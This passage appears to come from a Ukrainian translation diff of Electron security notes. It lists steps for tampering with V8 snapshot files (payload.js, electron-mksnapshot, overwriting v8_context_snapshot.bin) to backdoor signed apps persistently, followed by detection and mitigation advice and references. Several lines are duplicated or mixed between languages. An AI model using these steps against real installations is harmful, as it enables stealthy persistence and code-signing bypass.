2) Зберіть snapshot без джерел Chromium:
Операційний робочий процес
1) Напишіть payload.js, який перезаписує загальний builtin (наприклад, Array.isArray) і, за бажанням, гілкується за isolate.
2) Створіть snapshot без вихідників Chromium:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Перезапишіть файл(и) snapshot цільового застосунку:
3) Перезапишіть файл(и) snapshot цільового додатка:
- v8_context_snapshot.bin (завжди використовується)
- browser_v8_context_snapshot.bin (якщо використовується fuse LoadBrowserProcessSpecificV8Snapshot)
4) Запустіть застосунок; гаджет виконується щоразу, коли використовується обрана вбудована функція.
4) Запустіть додаток; гаджет виконується щоразу, коли використовується обраний builtin.
Примітки та зауваження
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electrons fuses or Chromium integrity controls.
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
Нотатки та зауваження
- Integrity/signature bypass: Файли snapshot не розглядаються як нативні виконувані файли під час перевірок code-signing і (історично) не покривалися fuses Electron або контролями цілісності Chromium.
- Persistence: Замiна snapshot у встановленні, доступному для запису користувачем, зазвичай переживає перезапуски додатку і виглядає як підписаний, легітимний додаток.
- Chromium browsers: Такий самий підхід до підтасовування застосовується до Chrome/похідних, встановлених у місцях з правами запису для користувача. Chrome має інші механізми захисту цілісності, але явно виключає фізично локальні атаки зі своєї моделі загроз.
Виявлення і пом'якшення
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
Виявлення та пом’якшення
- Розглядати snapshot як виконуваний вміст і включити їх у забезпечення цілісності (виправлення CVE-2025-55305).
- Віддавати перевагу місцям встановлення з правами запису лише для admin; створити базові значення та моніторити хеші для v8_context_snapshot.bin і browser_v8_context_snapshot.bin.
- Виявляти раннє перезаписування builtin під час раннього виконання та несподівані зміни snapshot; сигналізувати, коли десеріалізовані snapshot не відповідають очікуваним значенням.
## **References**
## **Посилання**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
@ -549,7 +576,6 @@ return orig(...arguments);
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)